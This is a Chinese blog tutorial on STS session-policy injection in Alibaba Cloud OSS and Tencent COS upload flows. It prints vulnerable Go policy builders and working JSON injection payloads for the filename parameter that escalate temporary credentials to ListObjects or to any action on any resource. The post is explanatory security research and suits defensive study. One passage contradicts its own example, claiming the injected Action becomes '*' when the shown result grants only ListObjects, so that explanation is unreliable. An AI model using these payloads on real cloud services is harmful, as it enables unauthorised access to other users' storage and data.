文章封面:云安全 STS Policy注入

云安全 STS Policy注入

云安全 STS Policy注入

参考:【云安全】万字剖析STS Policy 注入在对象存储直传与攻击中的利用链:从 STS 越权到 Unicode 二次绕过-先知社区

STS是什么

关于STS,很多人挖洞看到的通常是AK、SK、还有一个Token,比如长这个样子。

image-20260908153320782

然后测试的时候一般会尝试能不能../../../或者直接调用一些现有的安全工具对这个下发的sts安全凭证进行测试

看一下腾讯云对STS的描述

image-20260908153716681

简单来说,就是由可信后端保管长期凭证,或者通过 RAM 角色获取调用 STS 的权限(这里用的比较多的就是PutObject和GetObject),再针对当前这一次上传签发一组临时凭证。这组凭证的有效期可以很短,权限也可以通过会话 Policy 进一步收窄,比如只允许向指定存储桶、指定目录,甚至指定对象上传文件。这样一来,长期 AK/SK 就不需要进入前端;即使临时凭证意外泄露,攻击者能够利用的时间和权限范围也都比较有限。

输入流入侵控制流

这里我们需要先去创建一个RAM 用户,拿到AccessKey ID 和 AccessKey Secret

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
{
 "Version": "1",
 "Statement": [
   //Statement 是具体的授权规则列表
   {
     "Effect": "Allow",
   //Effect 表示这条规则的效果。常见取值有:Allow:允许。Deny:拒绝。这里默认是Allow放过去
     "Action": "oss:PutObject",
   //动作,这里可以从文档里面获取,PutObject就是可以上传对象,ListObject就是列出对象
     "Resource": "acs:oss:*:*:examplebucket/exampledir/*"
   //持有这份权限的身份,可以向 examplebucket 存储桶中所有以 exampledir/ 开头的对象写入文件,但没有读取、删除或访问其他目录的权限。
   }
 ]
}

在权限编辑页面,我们可以选择对角色权限进行编辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
oss : PutObject
         
         └── 具体操作:写入对象
  └────────── 云服务:对象存储 OSS

  oss:PutObject 主要用于向 OSS 上传或写入对象。比如:

  exampledir/avatar.png
  exampledir/report.pdf
  exampledir/2026/07/demo.txt
  
  Resource 表示这条权限可以作用在哪些资源上。把它拆开来看:

  acs : oss : * : * : examplebucket / exampledir/*
  │     │     │   │          │              │
  │     │     │   │          │              └─ 对象名称前缀
  │     │     │   │          └──────────────── Bucket 名称
  │     │     │   └─────────────────────────── 阿里云账号范围
  │     │     └─────────────────────────────── 地域region
  │     └───────────────────────────────────── 云服务
  └─────────────────────────────────────────── 阿里云资源名称前缀

为什么不能通过目录穿越进行任意文件读取

在传统文件系统中: exampledir/../../target.txt 会被路径解析函数归一化为: ../target.txt 因此可能逃出原来的目录。 但 OSS 使用的是 Object Key,不是真实文件路径。阿里云官网明确说明,OSS 本身没有传统文件系统的文件夹概念,只是通过 Key 中的 / 模拟目录效果。

所以在 OSS 语义中: exampledir/../../target.txt 通常表示的就是一个完整 Key: Key = “exampledir/../../target.txt” .. 并不天然具有“返回上级目录”的含义。它不会自动变成: target.txt

如果会话 Policy 是: “Resource”: “acs:oss:::examplebucket/exampledir/*” 那么 exampledir/../../target.txt 即使被接受,仍然只是一个以 exampledir/ 开头的 Key。它不会因此覆盖 Bucket 根部真正名为 target.txt 的对象。

image-20260920111842779

这里可以看到,前端请求中存在一个 fileKey 参数,它的值类似于:/2025-05-21/xxxx.xlsx,如果服务端没有自行生成 Object Key,而是直接使用前端提交的 fileKey 构造 STS 会话 Policy,那么我们就可以尝试把其中的2025-05-21 修改成其他日期,例如:2025-05-20/xxx.xlsx ,如果后端没有校验这个日期前缀是否属于当前用户,就可能据此生成下面这段权限:acs:oss:::这里是存储桶的地域,不用管,是场景方自己配置的/2025-05-20/* , 假设 RAM 角色本身拥有整个 Bucket 的写入权限,那么角色权限与这份会话 Policy 取交集后,新签发的 STS Token 就会获得对 /2025-05-20/* 的 PutObject 权限。

攻击者随后便可以向其他日期前缀写入文件;如果同时可以控制完整 Object Key,并指定一个已经存在的对象名称,也就是很多人喜欢挖的头像覆盖或者文件覆盖等等,在未开启版本控制的情况下,还可能覆盖原有对象。这里的关键并不是 ../../ 路径穿越,而是前端提交的 fileKey 影响了后端生成的 Resource。换句话说,攻击者通过修改一个普通业务参数,改变了 STS Token 最终获得的资源范围。如果 RAM 角色的权限上限已经在服务端限制为: acs:oss:::examplebucket/2025-05-21/, 那么即使前端把日期改成 2025-05-20,后端也生成了对应的会话 Policy,这部分权限仍然不在角色的授权范围内。由于最终权限取角色策略与会话 Policy 的交集,STS Token 对 2025-05-20/ 的写入权限不会生效,实际上传时会被 OSS 拒绝。

至于防御,厂商有禁止同名文件覆盖的参数,OSS 的 PutObject 支持:x-oss-forbid-overwrite: true

输入流入侵控制流再到云Policy注入

首先是后端写法,我们在真实业务场景中一般不会对Policy生成的STS做List Object权限,一般是给Put和Get权限

1
2
3
4
5
func aliyunVulnerablePolicy(bucket, fid string) string {
    return fmt.Sprintf(
        `{"Version":"1","Statement":[{"Effect":"Allow","Action":["oss:GetObject","oss:PutObject"],"Resource":["acs:oss:*:*:%s/%s"]}]}`,
        bucket, fid)
}

这里我们的前端可以控制上传的文件名来拿到STS,同时通过STS和文件内容,来对文件进行上传,通过获取到的STS也是不能直接对OSS Browser拥有登录权限的

这里作者写的靶场代码在获取/api/v1/sts路由过来的fulPathFid参数后,发送给了AssumeRole(fullPathFid),然后继续传递到了下一层的provider.go

这里的第一个参数为bucket的值,是不可控的。第二个是fullpath的值,也就是文件名,此时文件名可控,所以最后的数据流转过程就是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
main.go:77
  读取 文件名
      
  main.go:87
  p.AssumeRole(fid)
      
  aliyun.go:24
  生成 Policy
      
  provider.go:38-41
  fmt.Sprintf 拼接 fullPathFid
      
  aliyun.go:38
  Policy 放入 AssumeRoleRequest
      
  aliyun.go:40
  调用 STS AssumeRole
      
  aliyun.go:45-55
  返回临时 STS 凭证

然后我们可以用代码拼接注入的思想看我们前面配置的策略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
    "Version": "1", 
    "Statement": [
        {
            "Effect": "Allow", 
            "Action": [
                "oss:GetObject", 
                "oss:PutObject"
            ], 
            "Resource": [
                "acs:oss:*:*:%s/%s"
            ]
        }
    ]
}

这里我们只需要构造payload如下

1
2
bucket = BUCKET
fid = x"],"Action":["oss:ListObjects"],"Resource":["acs:oss:*:*:*

传入时Payload 会被放进原始 Policy 模板中第二个 %s 对应的位置

最终得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
{
    "Version": "1",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": [
          "oss:GetObject",
          "oss:PutObject"
        ],
        "Resource": [
          "acs:oss:*:*:存储桶的名字/x"
        ],
        "Action": [
          "oss:ListObjects"
        ],
        "Resource": [
          "acs:oss:*:*:存储桶的名字"
        ]
      }
    ]
  }

这里我们依旧需要先理解几个基本概念。前面已经提到,Action 代表允许执行的操作,Resource 代表这些操作可以作用的资源。原本的代码只给 Policy 配置了:

1
2
3
4
"Action": [
    "oss:GetObject",
    "oss:PutObject"
  ]

我们注入后有列桶的权限,这里出现了重复键 Action。绝大多数 JSON 解析器对重复键采用"后者覆盖",于是这条 Statement 的 Action 最终是 ["*",""]Resource[bucket/*, *]——一条 Statement、Statement 数还是 1,但权限已经被放大到"任意动作、任意资源"(受角色上限约束)。

其他云的policy注入

上面已阿里云为例,下面腾讯云也是类似

1
2
3
4
5
func tencentVulnerablePolicy(region, appID, bucket, fid string) string {
    return fmt.Sprintf(
        `{"version":"2.0","statement":[{"effect":"allow","action":["cos:GetObject","cos:PutObject"],"resource":["qcs::cos:%s:uid/%s:%s/%s"]}]}`,
        region, appID, bucket, fid)
}

只需要构造

1
uploads/alice/x.txt"]},{"effect":"allow","action":["*"],"resource":["*

注入后变成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
    "version": "2.0", 
    "statement": [
        {
            "effect": "allow", 
            "action": [
                "cos:GetObject", 
                "cos:PutObject"
            ], 
            "resource": [
                "qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt"
            ]
        }, 
        {
            "effect": "allow", 
            "action": [
                "*"
            ], 
            "resource": [
                "*"
            ]
        }
    ]
}

这里需要注意:腾讯云会拒绝重复键,因此,腾讯云的做法不是在同一条 Statement 中重复写一个 action,然后等待后者覆盖前者,而是先把原来的 Statement 关闭,再追加一条全新的 Statement。statement 本身就是一个数组,数组里的每个对象就是一条独立的授权语句,所以第二个 { “effect”: “allow” … } 直接作为 statement 数组的第二个元素即可。

使用 Hugo 构建
主题 StackJimmy 设计